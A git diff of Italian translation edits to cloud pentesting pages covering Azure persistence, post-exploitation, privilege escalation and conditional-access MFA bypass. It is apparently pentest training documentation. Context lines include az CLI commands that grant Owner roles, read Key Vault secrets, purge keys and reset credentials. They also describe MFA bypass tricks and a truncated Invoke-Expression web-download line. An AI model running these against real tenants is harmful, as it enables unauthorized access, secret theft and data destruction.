eliminati. Queste autorizzazioni possono essere utilizzate per mantenere la persistenza e fornire una finestra di opportunità per l'attaccante di recuperare o manipolare contenitori eliminati che avrebbero dovuto essere rimossi permanentemente e accedere a informazioni sensibili. ```bash az storage account blob-service-properties update \ --account-name \ @@ -27,7 +27,7 @@ az storage account blob-service-properties update \ ``` ### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -Queste autorizzazioni possono consentire all'attaccante di modificare le politiche di conservazione, ripristinare dati eliminati e accedere a informazioni sensibili. +Queste autorizzazioni possono consentire all'attaccante di modificare le politiche di retention, ripristinare dati eliminati e accedere a informazioni sensibili. ```bash az storage blob service-properties delete-policy update \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md index ee0937596..15b67ce64 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## VMs persistence +## Persistenza delle VMs Per ulteriori informazioni sulle VMs controlla: @@ -19,7 +19,7 @@ Un attaccante identifica applicazioni, estensioni o immagini utilizzate frequent Un attaccante potrebbe accedere alle istanze e backdoorarle: - Utilizzando un **rootkit** tradizionale, ad esempio -- Aggiungendo una nuova **chiave SSH pubblica** (controlla [opzioni di privesc EC2](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) +- Aggiungendo una nuova **chiave SSH pubblica** (controlla [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) - Backdooring i **Dati Utente** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index e3ff1956c..d51e02a75 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -36,6 +36,6 @@ az storage blob upload \ ``` ### \*/delete -Questo permetterebbe di eliminare oggetti all'interno dell'account di archiviazione che potrebbero **interrompere alcuni servizi** o far perdere al cliente **informazioni preziose**. +Questo permetterebbe di eliminare oggetti all'interno dell'account di archiviazione, il che potrebbe **interrompere alcuni servizi** o far perdere al cliente **informazioni preziose**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index 1ff59eb8e..186eb6cba 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -30,7 +30,7 @@ az storage file download \ ``` ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action -Un principale con questo permesso sarà in grado di **scrivere e sovrascrivere file nelle condivisioni di file**, il che potrebbe consentirgli di causare danni o addirittura di elevare i privilegi (ad es. sovrascrivere del codice memorizzato in una condivisione di file): +Un principale con questo permesso sarà in grado di **scrivere e sovrascrivere file nelle condivisioni di file**, il che potrebbe consentirgli di causare danni o addirittura di elevare i privilegi (ad esempio, sovrascrivere del codice memorizzato in una condivisione di file): ```bash az storage blob upload \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index a4be51633..3bf2a94c3 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -1,16 +1,16 @@ -# Az - Function Apps Post Exploitation +# Az - Funzioni App Post Sfruttamento {{#include ../../../banners/hacktricks-training.md}} -## Funciton Apps Post Exploitaiton +## Funzioni App Post Sfruttamento -Per ulteriori informazioni sulle function apps, controlla: +Per ulteriori informazioni sulle funzioni app, controlla: {{#ref}} ../az-services/az-function-apps.md {{#endref}} -> [!CAUTION] > **I trucchi di post exploitation delle Function Apps sono molto correlati ai trucchi di escalation dei privilegi** quindi puoi trovarli tutti lì: +> [!CAUTION] > **I trucchi di post sfruttamento delle Funzioni App sono molto correlati ai trucchi di escalation dei privilegi** quindi puoi trovarli tutti lì: {{#ref}} ../az-privilege-escalation/az-functions-app-privesc.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index 9ea65f9f1..6296651fc 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -21,7 +21,7 @@ az keyvault secret show --id https://.vault.azure.net/secrets/ --name ``` @@ -46,7 +46,7 @@ az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm ``` ### **Microsoft.KeyVault/vaults/keys/purge/action** -Questa autorizzazione consente a un principale di eliminare permanentemente una chiave dal vault. +Questo permesso consente a un principale di eliminare permanentemente una chiave dal vault. ```bash az keyvault key purge --vault-name --name ``` diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 73e83c69a..ee7f99e33 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -30,27 +30,27 @@ az servicebus queue delete --resource-group --namespace-name ``` ### Azioni: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete` -Un attaccante con questo permesso può eliminare un abbonamento di Azure Service Bus. Questa azione rimuove l'abbonamento e tutti i suoi messaggi associati, potenzialmente interrompendo flussi di lavoro, elaborazione dei dati e operazioni di sistema che dipendono dall'abbonamento. +Un attaccante con questo permesso può eliminare un'abbonamento di Azure Service Bus. Questa azione rimuove l'abbonamento e tutti i suoi messaggi associati, potenzialmente interrompendo flussi di lavoro, elaborazione dei dati e operazioni di sistema che dipendono dall'abbonamento. ```bash az servicebus topic subscription delete --resource-group --namespace-name --topic-name --name ``` ### Azioni: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read` -Un attaccante con permessi per creare o modificare i namespace di Azure Service Bus può sfruttare questo per interrompere le operazioni, distribuire risorse non autorizzate o esporre dati sensibili. Possono alterare configurazioni critiche come abilitare l'accesso alla rete pubblica, ridurre le impostazioni di crittografia o cambiare gli SKU per degradare le prestazioni o aumentare i costi. Inoltre, potrebbero disabilitare l'autenticazione locale, manipolare le posizioni delle repliche o regolare le versioni TLS per indebolire i controlli di sicurezza, rendendo la misconfigurazione del namespace un rischio significativo post-exploitation. +Un attaccante con permessi per creare o modificare i namespace di Azure Service Bus può sfruttare questo per interrompere le operazioni, distribuire risorse non autorizzate o esporre dati sensibili. Possono modificare configurazioni critiche come abilitare l'accesso alla rete pubblica, ridurre le impostazioni di crittografia o cambiare gli SKU per degradare le prestazioni o aumentare i costi. Inoltre, potrebbero disabilitare l'autenticazione locale, manipolare le posizioni delle repliche o regolare le versioni TLS per indebolire i controlli di sicurezza, rendendo la misconfigurazione del namespace un rischio significativo post-exploitation. ```bash az servicebus namespace create --resource-group --name --location az servicebus namespace update --resource-group --name --tags ``` ### Azioni: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`) -Un attaccante con permessi per creare o modificare le code di Azure Service Bus (per modificare la coda è necessario anche l'azione: `Microsoft.ServiceBus/namespaces/queues/read`) può sfruttare questo per intercettare dati, interrompere flussi di lavoro o abilitare accessi non autorizzati. Possono alterare configurazioni critiche come l'inoltro di messaggi a endpoint malevoli, regolare il TTL dei messaggi per mantenere o eliminare dati in modo improprio, o abilitare il dead-lettering per interferire con la gestione degli errori. Inoltre, potrebbero manipolare le dimensioni delle code, le durate di blocco o gli stati per interrompere la funzionalità del servizio o eludere la rilevazione, rendendo questo un rischio significativo post-exploitation. +Un attaccante con permessi per creare o modificare le code di Azure Service Bus (per modificare la coda è necessario anche l'Action:`Microsoft.ServiceBus/namespaces/queues/read`) può sfruttare questo per intercettare dati, interrompere flussi di lavoro o abilitare accessi non autorizzati. Possono alterare configurazioni critiche come l'inoltro di messaggi a endpoint malevoli, regolare il TTL dei messaggi per mantenere o eliminare dati in modo improprio, o abilitare il dead-lettering per interferire con la gestione degli errori. Inoltre, potrebbero manipolare le dimensioni delle code, le durate di blocco o gli stati per interrompere la funzionalità del servizio o eludere la rilevazione, rendendo questo un rischio significativo post-exploitation. ```bash az servicebus queue create --resource-group --namespace-name --name az servicebus queue update --resource-group --namespace-name --name ``` ### Azioni: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) -Un attaccante con permessi per creare o modificare argomenti (per modificare l'argomento è necessario anche l'azione: `Microsoft.ServiceBus/namespaces/topics/read`) all'interno di uno spazio dei nomi di Azure Service Bus può sfruttare questo per interrompere i flussi di lavoro dei messaggi, esporre dati sensibili o abilitare azioni non autorizzate. Utilizzando comandi come az servicebus topic update, possono manipolare configurazioni come abilitare il partizionamento per un uso improprio della scalabilità, modificare le impostazioni TTL per mantenere o scartare i messaggi in modo improprio, o disabilitare il rilevamento dei duplicati per eludere i controlli. Inoltre, potrebbero regolare i limiti di dimensione degli argomenti, cambiare lo stato per interrompere la disponibilità, o configurare argomenti espressi per memorizzare temporaneamente i messaggi intercettati, rendendo la gestione degli argomenti un focus critico per la mitigazione post-exploitation. +Un attaccante con permessi per creare o modificare argomenti (per modificare l'argomento avrai anche bisogno dell'azione: `Microsoft.ServiceBus/namespaces/topics/read`) all'interno di uno spazio dei nomi di Azure Service Bus può sfruttare questo per interrompere i flussi di lavoro dei messaggi, esporre dati sensibili o abilitare azioni non autorizzate. Utilizzando comandi come az servicebus topic update, possono manipolare configurazioni come abilitare il partizionamento per un uso improprio della scalabilità, alterare le impostazioni TTL per mantenere o scartare i messaggi in modo improprio, o disabilitare il rilevamento dei duplicati per eludere i controlli. Inoltre, potrebbero regolare i limiti di dimensione degli argomenti, cambiare lo stato per interrompere la disponibilità, o configurare argomenti espressi per memorizzare temporaneamente i messaggi intercettati, rendendo la gestione degli argomenti un focus critico per la mitigazione post-exploitation. ```bash az servicebus topic create --resource-group --namespace-name --name az servicebus topic update --resource-group --namespace-name --name diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md index d072be8aa..e041a3087 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md @@ -26,7 +26,7 @@ az storage entity query \ ``` ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action -Un principale con questo permesso sarà in grado di **scrivere e sovrascrivere voci nelle tabelle**, il che potrebbe consentirgli di causare danni o addirittura di elevare i privilegi (ad esempio, sovrascrivere alcuni dati fidati che potrebbero sfruttare una vulnerabilità di iniezione nell'app che li utilizza). +Un principale con questo permesso sarà in grado di **scrivere e sovrascrivere voci nelle tabelle**, il che potrebbe permettergli di causare danni o addirittura di elevare i privilegi (ad esempio, sovrascrivere alcuni dati fidati che potrebbero sfruttare una vulnerabilità di iniezione nell'app che li utilizza). - Il permesso `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` consente tutte le azioni. - Il permesso `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` consente di **aggiungere** voci. @@ -55,6 +55,6 @@ az storage entity merge \ ``` ### \*/delete -Questo permetterebbe di eliminare file all'interno del filesystem condiviso, il che potrebbe **interrompere alcuni servizi** o far sì che il cliente **perda informazioni preziose**. +Questo permetterebbe di eliminare file all'interno del filesystem condiviso, il che potrebbe **interrompere alcuni servizi** o far perdere al cliente **informazioni preziose**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md index 084087d5e..eb7eed667 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md @@ -16,7 +16,7 @@ Le applicazioni VM possono essere condivise con altre sottoscrizioni e tenant. S ### Informazioni sensibili nelle immagini -Potrebbe essere possibile trovare **informazioni sensibili all'interno delle immagini** prese da VMs in passato. +Potrebbe essere possibile trovare **informazioni sensibili all'interno delle immagini** prese dalle VM in passato. 1. **Elenca le immagini** dalle gallerie ```bash @@ -36,11 +36,11 @@ az sig image-version list \ --gallery-image-definition \ -o table ``` -2. **Elenca immagini personalizzate** +2. **Elenca le immagini personalizzate** ```bash az image list -o table ``` -3. **Crea VM dall'ID immagine** e cerca informazioni sensibili al suo interno +3. **Crea VM da ID immagine** e cerca informazioni sensibili al suo interno ```bash # Create VM from image az vm create \ @@ -101,8 +101,8 @@ sudo mount /dev/sdX1 /mnt/mydisk #### **2. Porta il Disco Online** -1. Individua il disco nel riquadro inferiore. -2. Fai clic destro sul disco (ad es., **Disco 1**) e seleziona **Online**. +1. Individua il disco nel riquadro in basso. +2. Fai clic destro sul disco (ad esempio, **Disco 1**) e seleziona **Online**. #### **3. Inizializza il Disco** @@ -114,14 +114,14 @@ sudo mount /dev/sdX1 /mnt/mydisk 1. Fai clic destro sullo spazio non allocato sul disco e seleziona **Nuovo Volume Semplice**. 2. Segui la procedura guidata per: -- Assegnare una lettera di unità (ad es., `D:`). +- Assegnare una lettera di unità (ad esempio, `D:`). - Formattare il disco (scegli NTFS per la maggior parte dei casi). {{#endtab }} {{#endtabs }} ### Informazioni sensibili in dischi e snapshot -Potrebbe essere possibile trovare **informazioni sensibili all'interno dei dischi o anche negli snapshot di vecchi dischi**. +Potrebbe essere possibile trovare **informazioni sensibili all'interno dei dischi o anche negli snapshot di dischi vecchi**. 1. **Elenca gli snapshot** ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index c879f522b..9c9acceec 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -12,7 +12,7 @@ Per ulteriori informazioni controlla: ### Microsoft.Authorization/roleAssignments/write -Questo permesso consente di assegnare ruoli ai principali su un ambito specifico, consentendo a un attaccante di elevare i privilegi assegnando a se stesso un ruolo più privilegiato: +Questo permesso consente di assegnare ruoli ai principi su un ambito specifico, consentendo a un attaccante di elevare i privilegi assegnando a se stesso un ruolo più privilegiato: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" @@ -34,13 +34,13 @@ Crea il file `role.json` con il seguente **contenuto**: "AssignableScopes": ["/subscriptions/"] } ``` -Poi aggiorna i permessi del ruolo con la definizione precedente chiamando: +Quindi aggiorna i permessi del ruolo con la definizione precedente chiamando: ```bash az role definition update --role-definition role.json ``` ### Microsoft.Authorization/elevateAccess/action -Questa autorizzazione consente di elevare i privilegi e di poter assegnare autorizzazioni a qualsiasi principale per le risorse Azure. È destinata a essere concessa agli Amministratori Globali di Entra ID in modo che possano anche gestire le autorizzazioni sulle risorse Azure. +Questa autorizzazione consente di elevare i privilegi e di poter assegnare permessi a qualsiasi principale per le risorse Azure. È destinata a essere concessa agli Amministratori Globali di Entra ID in modo che possano gestire anche i permessi sulle risorse Azure. > [!TIP] > Penso che l'utente debba essere Amministratore Globale in Entra ID affinché la chiamata di elevazione funzioni. @@ -53,7 +53,7 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -Questo permesso consente di aggiungere credenziali federate alle identità gestite. Ad esempio, dare accesso a Github Actions in un repo a un'identità gestita. Quindi, consente di **accedere a qualsiasi identità gestita definita dall'utente**. +Questo permesso consente di aggiungere credenziali federate alle identità gestite. Ad esempio, consente di dare accesso a Github Actions in un repo a un'identità gestita. Quindi, consente di **accedere a qualsiasi identità gestita definita dall'utente**. Esempio di comando per dare accesso a un repo in Github a un'identità gestita: ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 627b45a64..820ae4af7 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,7 +3,7 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Nota che **non tutte le autorizzazioni granulari** dei ruoli predefiniti in Entra ID **sono idonee per essere utilizzate nei ruoli personalizzati.** +> Nota che **non tutte le autorizzazioni granulari** dei ruoli predefiniti in Entra ID **sono idonee per essere utilizzate in ruoli personalizzati.** ## Ruoli @@ -11,7 +11,7 @@ Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai soggetti e per dare più autorizzazioni ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi. -- Assegna un ruolo a un utente: +- Assegna ruolo a un utente: ```bash # List enabled built-in roles az rest --method GET \ @@ -61,7 +61,7 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Questo consente le stesse azioni di `applications/credentials/update`, ma limitate ad applicazioni a directory singola. +Questo consente le stesse azioni di `applications/credentials/update`, ma limitate alle applicazioni a directory singola. ```bash az ad app credential reset --id --append ``` @@ -110,7 +110,7 @@ az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Simile alle applicazioni, questo permesso consente di aggiungere ulteriori proprietari a un service principal. Possedere un service principal consente di controllare le sue credenziali e permessi. +Simile alle applicazioni, questo permesso consente di aggiungere ulteriori proprietari a un service principal. Possedere un service principal consente di controllare le sue credenziali e i suoi permessi. ```bash # Add new owner spId="" @@ -170,7 +170,7 @@ az rest --method POST \ ### `microsoft.directory/groups/allProperties/update` -Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, portando a un'escalation dei privilegi. +Questo permesso consente di aggiungere utenti a gruppi privilegiati, portando a un'escalation dei privilegi. ```bash az ad group member add --group --member-id ``` @@ -242,7 +242,7 @@ az rest --method PATCH \ ``` ## Politiche di Accesso Condizionale e bypass MFA -Le politiche di accesso condizionale mal configurate che richiedono MFA potrebbero essere eluse, controlla: +Le politiche di accesso condizionale configurate in modo errato che richiedono MFA potrebbero essere eluse, controlla: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -252,7 +252,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Questa autorizzazione consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo. +Questa autorizzazione consente agli attaccanti di assegnare a se stessi il ruolo di proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo. ```bash deviceId="" userId="" diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index bf5f5982d..b0e7ce01c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,18 +1,18 @@ -# Az - Conditional Access Policies & MFA Bypass +# Az - Politiche di Accesso Condizionale & Bypass MFA {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base Le politiche di accesso condizionale di Azure sono regole impostate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure in base a determinate **condizioni**. Queste politiche aiutano le organizzazioni a proteggere le proprie risorse applicando i giusti controlli di accesso nelle giuste circostanze.\ Le politiche di accesso condizionale **definiscono** **Chi** può accedere a **Cosa** da **Dove** e **Come**. Ecco un paio di esempi: -1. **Politica di rischio di accesso**: Questa politica potrebbe essere impostata per richiedere l'autenticazione a più fattori (MFA) quando viene rilevato un rischio di accesso. Ad esempio, se il comportamento di accesso di un utente è insolito rispetto al suo modello regolare, come accedere da un paese diverso, il sistema può richiedere un'autenticazione aggiuntiva. -2. **Politica di conformità del dispositivo**: Questa politica può limitare l'accesso ai servizi Azure solo ai dispositivi che sono conformi agli standard di sicurezza dell'organizzazione. Ad esempio, l'accesso potrebbe essere consentito solo da dispositivi che hanno software antivirus aggiornato o che eseguono una certa versione del sistema operativo. +1. **Politica di Rischio di Accesso**: Questa politica potrebbe essere impostata per richiedere l'autenticazione a più fattori (MFA) quando viene rilevato un rischio di accesso. Ad esempio, se il comportamento di accesso di un utente è insolito rispetto al suo modello regolare, come accedere da un paese diverso, il sistema può richiedere un'autenticazione aggiuntiva. +2. **Politica di Conformità del Dispositivo**: Questa politica può limitare l'accesso ai servizi Azure solo ai dispositivi che sono conformi agli standard di sicurezza dell'organizzazione. Ad esempio, l'accesso potrebbe essere consentito solo da dispositivi che hanno software antivirus aggiornato o che eseguono una certa versione del sistema operativo. -## Conditional Access Policies Bypasses +## Bypass delle Politiche di Accesso Condizionale È possibile che una politica di accesso condizionale **stia controllando alcune informazioni che possono essere facilmente manomesse, consentendo un bypass della politica**. E se, ad esempio, la politica fosse configurata per MFA, l'attaccante sarà in grado di bypassarla. @@ -22,7 +22,7 @@ Quando si configura una politica di accesso condizionale, è necessario indicare - **Rete**: IP, intervalli IP e posizioni geografiche - Può essere bypassato utilizzando una VPN o un Proxy per connettersi a un paese o riuscendo ad accedere da un indirizzo IP consentito -- **Rischi Microsoft**: Rischio utente, rischio di accesso, rischio interno +- **Rischi Microsoft**: Rischio utente, rischio di accesso, rischio insider - **Piattaforme dei dispositivi**: Qualsiasi dispositivo o selezionare Android, iOS, Windows phone, Windows, macOS, Linux - Se “Qualsiasi dispositivo” non è selezionato ma tutte le altre opzioni sono selezionate, è possibile bypassarlo utilizzando un user-agent casuale non correlato a quelle piattaforme - **App client**: Le opzioni sono “Browser”, “App mobili e client desktop”, “Client Exchange ActiveSync” e “Altri client” @@ -31,9 +31,9 @@ Quando si configura una politica di accesso condizionale, è necessario indicare - **Flussi di autenticazione**: Le opzioni sono “Flusso di codice dispositivo” e “Trasferimento di autenticazione” - Questo non influenzerà un attaccante a meno che non stia cercando di abusare di uno di questi protocolli in un tentativo di phishing per accedere all'account della vittima -I possibili **risultati** sono: Blocca o Consenti accesso con condizioni potenziali come richiedere MFA, dispositivo conforme… +I possibili **risultati** sono: Bloccare o Consentire l'accesso con potenziali condizioni come richiedere MFA, dispositivo conforme… -### Device Platforms - Device Condition +### Piattaforme dei Dispositivi - Condizione del Dispositivo È possibile impostare una condizione basata sulla **piattaforma del dispositivo** (Android, iOS, Windows, macOS...), tuttavia, questo si basa sull'**user-agent** quindi è facile da bypassare. Anche **rendendo tutte le opzioni obbligatorie per MFA**, se si utilizza un **user-agent che non è riconosciuto,** sarà possibile bypassare la MFA o il blocco: @@ -44,20 +44,20 @@ Puoi cambiare manualmente l'user agent negli strumenti per sviluppatori:
- Oppure utilizzare un ['estensione del browser come questa](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). + Oppure utilizzare un [browser extension come questa](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). -### Locations: Countries, IP ranges - Device Condition +### Posizioni: Paesi, intervalli IP - Condizione del Dispositivo Se questo è impostato nella politica condizionale, un attaccante potrebbe semplicemente utilizzare una **VPN** nel **paese consentito** o cercare di trovare un modo per accedere da un **indirizzo IP consentito** per bypassare queste condizioni. -### Cloud Apps +### App Cloud È possibile configurare **politiche di accesso condizionale per bloccare o forzare** ad esempio MFA quando un utente cerca di accedere a **un'app specifica**:
-Per cercare di bypassare questa protezione dovresti vedere se puoi **accedere a qualsiasi applicazione**.\ -Lo strumento [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ha **decine di ID applicazione hardcoded** e cercherà di accedere a essi e ti informerà e persino ti darà il token se ha successo. +Per cercare di bypassare questa protezione dovresti vedere se puoi **accedere solo a qualsiasi applicazione**.\ +Lo strumento [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ha **decine di ID applicazione hardcoded** e cercherà di accedere a essi e ti informerà e ti darà anche il token se ha successo. Per **testare ID applicazione specifici in risorse specifiche** potresti anche utilizzare uno strumento come: ```bash @@ -65,24 +65,24 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 ``` -Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also. +Inoltre, è possibile proteggere anche il metodo di accesso (ad esempio, se si sta tentando di accedere dal browser o da un'applicazione desktop). Lo strumento [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) esegue alcuni controlli per cercare di bypassare queste protezioni. -The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained. +Lo strumento [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) potrebbe essere utilizzato per scopi simili, anche se sembra non essere mantenuto. -The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them. +Lo strumento [**ROPCI**](https://github.com/wunderwuzzi23/ropci) può essere utilizzato per testare queste protezioni e vedere se è possibile bypassare le MFA o i blocchi, ma questo strumento funziona da una prospettiva **whitebox**. È necessario prima scaricare l'elenco delle app consentite nel tenant e poi tenterà di accedervi. -## Altri bypass di Az MFA +## Altri Bypass MFA di Az ### Suoneria -Una opzione di Azure MFA è **ricevere una chiamata al numero di telefono configurato** dove verrà chiesto all'utente di **inviare il carattere `#`**. +Una delle opzioni MFA di Azure è **ricevere una chiamata al numero di telefono configurato** dove verrà chiesto all'utente di **inviare il carattere `#`**. > [!CAUTION] -> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio della **segreteria telefonica** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando richiede l'MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla segreteria. +> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio di **voicemail** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando si richiede la MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla voicemail. -### Dispositivi conformi +### Dispositivi Conformi -Le politiche spesso richiedono un dispositivo conforme o MFA, quindi un **attaccante potrebbe registrare un dispositivo conforme**, ottenere un **token PRT** e **bypassare in questo modo l'MFA**. +Le politiche spesso richiedono un dispositivo conforme o MFA, quindi un **attaccante potrebbe registrare un dispositivo conforme**, ottenere un **token PRT** e **bypassare in questo modo la MFA**. Inizia registrando un **dispositivo conforme in Intune**, poi **ottieni il PRT** con: ```powershell @@ -100,7 +100,7 @@ Trova ulteriori informazioni su questo tipo di attacco nella seguente pagina: ../../az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Tooling +## Strumenti ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) @@ -116,17 +116,17 @@ roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep è uno script PowerShell che tenta di **accedere a vari servizi Microsoft utilizzando un set di credenziali fornito e cercherà di identificare se MFA è abilitato**. A seconda di come sono configurate le politiche di accesso condizionale e altre impostazioni di autenticazione a più fattori, alcuni protocolli potrebbero finire per essere lasciati a fattore singolo. Ha anche un controllo aggiuntivo per le configurazioni ADFS e può tentare di accedere al server ADFS on-prem se rilevato. +MFASweep è uno script PowerShell che tenta di **accedere a vari servizi Microsoft utilizzando un set di credenziali fornito e cercherà di identificare se MFA è abilitato**. A seconda di come sono configurate le politiche di accesso condizionale e altre impostazioni di autenticazione a più fattori, alcuni protocolli potrebbero rimanere a fattore singolo. Ha anche un controllo aggiuntivo per le configurazioni ADFS e può tentare di accedere al server ADFS on-prem se rilevato. ```bash Invoke-Expression (Invoke-WebRequest -Uri 